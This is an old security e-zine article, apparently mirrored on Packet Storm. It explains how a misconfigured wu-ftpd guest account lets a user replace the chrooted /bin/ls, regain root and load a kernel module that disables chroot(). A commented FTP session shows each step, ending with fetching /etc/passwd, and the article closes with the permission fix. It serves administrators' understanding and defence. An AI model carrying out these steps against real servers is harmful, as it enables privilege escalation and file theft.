RESTRICTING A RESTRICTED FTP - How to exploit common misconfigurations in wu-ftpd that allows usersi who may not have permission to login to execute arbitrary code on the FTP server.
43bd58be0b34b0860a305a158d415d0aef434ee84693ddc0a6bfd1b1a8a0472a<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<HTML>
<HEAD>
<META CONTENT="text/html; charset=iso-8859-1" HTTP-EQUIV="Content-Type">
<META NAME="GENERATOR" CONTENT="Mozilla/4.5 [es] (Win95; I) [Netscape]">
<TITLE>RESTRICTING A RESTRICTED FTP</TITLE>
</HEAD>
<BODY BGCOLOR="#000000" VLINK="#66FFFF" TEXT="#33CCFF" LINK="#66FFFF" ALINK="#FFFFFF">
<BLOCKQUOTE>
<BLOCKQUOTE>
<CENTER>
<H2>
<B>RESTRICTING A RESTRICTED FTP</B></H2></CENTER>
</BLOCKQUOTE>
</BLOCKQUOTE>
<BLOCKQUOTE>
<BLOCKQUOTE>
<DIV ALIGN="right">
<H4>
<B>By FLoW</B></H4></DIV>
</BLOCKQUOTE>
</BLOCKQUOTE>
<BLOCKQUOTE>
<BLOCKQUOTE>
<H4>
<HR WIDTH="100%"><BR>
No, this is not a tongue twister... This article bases in one of the most
common configuration errors involving FTP and permissions, not obvious
at first sight, but it has got some administrators banging his head against
a wall for some days :)</H4>
FTP is one of the most usual services offered by a server, anonymous or
for users to transfer files.
<BR>It's not that unusual to find servers that restrict users access to
their home directories, because why should any user had access to the whole
system if they only need FTP to update their web pages?
<P>This article is based in my experience with WU-FTPD, although any FTP
server that allows restricted access and uses a <TT>/bin/ls</TT> located
in the user home directory is potentially vulnerable.
<BR>Let's get to it...
<P><B><I>Permissions, ownership and privileges</I></B>
<P>Whenever we add a new user to the system (using <TT>adduser</TT>, <TT>useradd</TT>
or so) the new user becomes owner of his home directory (at least in the
scripts i've seen), e.g.:
<PRE><TT>drwx------ 2 user users 1024 Jun 21 11:26 /home/user/</TT></PRE>
That's the way to do it, and what one will expect from a user directory.
<BR>The trouble starts when we set up an FTP server that restricts user
access to their home directory.
<BR>In order to do this we create a directory structure in the user home
directory that simulates our system's:
<P><TT>/etc</TT>: <TT>passwd,group</TT> - so the FTP server can bind UIDs
and GIDs with named, making it more easy for the client.
<P><TT>/bin</TT>: <TT>ls, compress, gzip</TT>... - binaries the FTP server
runs.
<P><TT>/lib</TT>, <TT>/usr/lib</TT>: libraries, just in case the binaries
need them.
<P><TT>/dev</TT>: some operating systems need access to some devices in
order to establish network connections.
<P>Users don't need to touch these directories, thus we can restrict their
permissions and change ownership to the super user.
<P><B><I>Confusions</I></B>
<P>The problems begin when we do this and we forgot that the user's home
directory is owned by the user and thus, he can change any files hanging
from it. It's not that hard to find scenarios like this:
<PRE><TT>drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/</TT></PRE>
In which the user <I>user </I>can change the <I>bin</I> directory in its
home directory (if the directory has contents not owned by the user, we
can't delete them, but nothing stops us from renaming it :) ).
<P>So what's the point? Let's see how wu.ftpd works internally.
<BR>When we request a directory listing through FTP (LIST command), the
FTP server <B>EXECUTES</B> <TT>/bin/ls</TT>, and in the case of a restricted
(guest) FTP, the user's home directory <TT>/bin/ls.</TT>
<P>Let's remember that the FTP server runs as root, in order to open a
privileged port (21) and to access the user information files in case it
is a system using <I>shadow</I>.
<BR>When a user accesses the restricted FTP, the server changes its euid
(effective uid, the UID it runs under) to the user uid.
<BR>The server uses <I>seteuid()</I> instead of <I>setuid()</I> in order
to regain super user privileges in case it needs to, impossible to do with
<I>setuid()</I>.
<P>Anyway, the FTP server executes this <TT>/bin/ls</TT> after <I>chroot()</I>ing
to the user home directory. <I>chroot()</I> changes the process root directory
to the one we pass as a parameter, that is, after a <I>chroot()</I> the
process can only access that part of the file system, and it can't get
out of there (theoretically).
<P>If the user is able to modify <TT>/bin/ls</TT> (that's the scenario
we were looking at before), then we are at his feet =) The program that
substitutes <TT>ls</TT> will be run whenever we do a LIST, with euid equal
to the user's uid, but uid=0, thus this <TT>ls</TT> can call <I>setuid(0)</I>
and regain super user privileges, although inside the restricted user directory.
<P><B><I>Escaping the chroot()</I></B>
<BR>As we have previously said, even if we can execute arbitrary code,
we find ourselves inside a <I>chroot()</I>ed file system. A <I>chroot()</I>
is inherited from parents to child, so if we spawn a process we will still
be limited by the <I>chroot()</I>.
<P>The process root directory is a property stored with all the process
information in a process table kept in memory by the system (to which super
user has total access), thus we just need to access this table, modify
our root directory and spawn a process that will inherit this new root
directory, getting us out of the <I>chroot()</I>.
<P>Another way to get out of it (for Linux) can be to load a kernel module
in order to capture the <I>chroot()</I> syscall and modify it to not restrict
our access to the file system or, given the kernel has access to all the
system, to execute arbitrary code for us, Creativity :)
<P>At the end of the article you can find a Linux's module code that modifies
the <I>chroot()</I> syscall to not restrict our access to the file system
and an <TT>ls</TT> substitute that loads the module.
<P><B><I>The practice</I></B>
<BR>
<PRE>Here is a commented example to clear doubts :)</PRE>
<PRE><TT>thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
<PRE><B>user connects to the machine where he's got restricted access. When connecting, the</B></PRE>
<PRE><B>server executes chroot() to the user's home directory.</B></PRE>
<PRE><TT>ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.</TT></PRE>
<PRE><B>user is restricted to his home directory</B></PRE>
<PRE><TT>ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.</TT></PRE>
<B>modifies the <TT>ls</TT> binary and uploads other files he needs</B>
<PRE><TT>ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.</TT></PRE>
<B>changes the modes in order to be able to execute the files he's just
uploaded</B>
<PRE><TT>ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.</TT></PRE>
<B>and runs the modified <TT>ls</TT>, that changes his euid to 0 and loads
the trojan module</B>
<PRE><TT>ftp> bye
221 Goodbye.
thx:~#</TT></PRE>
<B>at this point, the user has loaded the kernel module that captures and
voids the <I>chroot()</I> syscall</B>
<PRE><TT>thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
<B>at this point, server has <I>chroot()</I>ed to the user's home directory,
but it has been captured and voided by our module</B>
<PRE><TT>ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x 21 root root 1024 Jun 21 11:57 .
drwxr-xr-x 21 root root 1024 Jun 21 11:57 ..
-rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history
drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot
drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom
drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev
drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc
drwxr-xr-x 7 root root 1024 Jun 21 19:26 export
drwxr-xr-x 7 root root 1024 Jun 21 19:26 home
dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc</TT></PRE>
<B>...</B>
<PRE><TT>-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz
226 Transfer complete.</TT></PRE>
<B>and thus the user has access to the whole file system...</B>
<PRE><TT>ftp> get /etc/passwd
226 Transfer complete.</TT></PRE>
<B>...with all its consequences.</B>
<PRE><TT>ftp> bye
221 Goodbye.
thx:~#</TT></PRE>
This is a <B>very little </B>example of what can be done, just think that
we've just loaded a kernel module, something that's quite threatening of
our system integrity...
<BR>It's just as easy to create a module that modifies files, changes permissions,
etc, but I leave this to you :) (or at least those that don't read the
code ;) )
<P><B><I>Solution</I></B>
<BR>I suppose you found the trivial solution, change user's home directory
ownership to super user and restrict the permissions, e.g.:
<PRE><TT>ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./
drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../
d--x--x--x 2 root root 1024 Jun 21 11:26 bin/
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/
ilm:~$</TT></PRE>
My advice is to drop wu-ftpd and install ProFTPD, an FTP server designed
with security in mind that doesn't execute external binaries.
<P><B><I>Conclusion</I></B>
<BR>This is not a generic failure of the FTP server, but a <B>not unusual</B>
configuration error, if you had everything correctly set up, at least I
hope you have enjoyed the article :)
<P>Cheers,
<BR>FLoW
<P><B><I>Appendix: References</I></B>
<BR>
<BR>
<LI>
<I><A HREF="https://hispahack.ccc.de/wu-guest.tgz">Module code</A></I></LI>
<LI>
<I><A HREF="https://www.landfield.com/wu-ftpd/">wu-ftpd Resource Center</A></I></LI>
<LI>
<I><A HREF="https://www.proftpd.org/">ProFTPD</A></I></LI>
<BR>
<H1>
<U><FONT SIZE="-1"><A HREF="https://hispahack.ccc.de/en/ewebzine.htm"></A></FONT></U></H1>
<U><FONT SIZE="-1"><A HREF="https://hispahack.ccc.de/en/ewebzine.htm"></A></FONT></U> </BLOCKQUOTE>
</BLOCKQUOTE>
<FONT SIZE="-1"><A HREF="https://hispahack.ccc.de/en/ewebzine.htm"></A></FONT><FONT SIZE="-1"><A HREF="https://hispahack.ccc.de/en/ewebzine.htm"></A></FONT>
<CENTER>
<P><FONT SIZE="-1">(C) 1997-2001 by !Hispahack</FONT>
<BR><FONT SIZE="-1">Para ver el web en las mejores condiciones, usa una resolución
de 800x600 y Netscape Navigator</FONT></CENTER>
</BODY>
</HTML>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed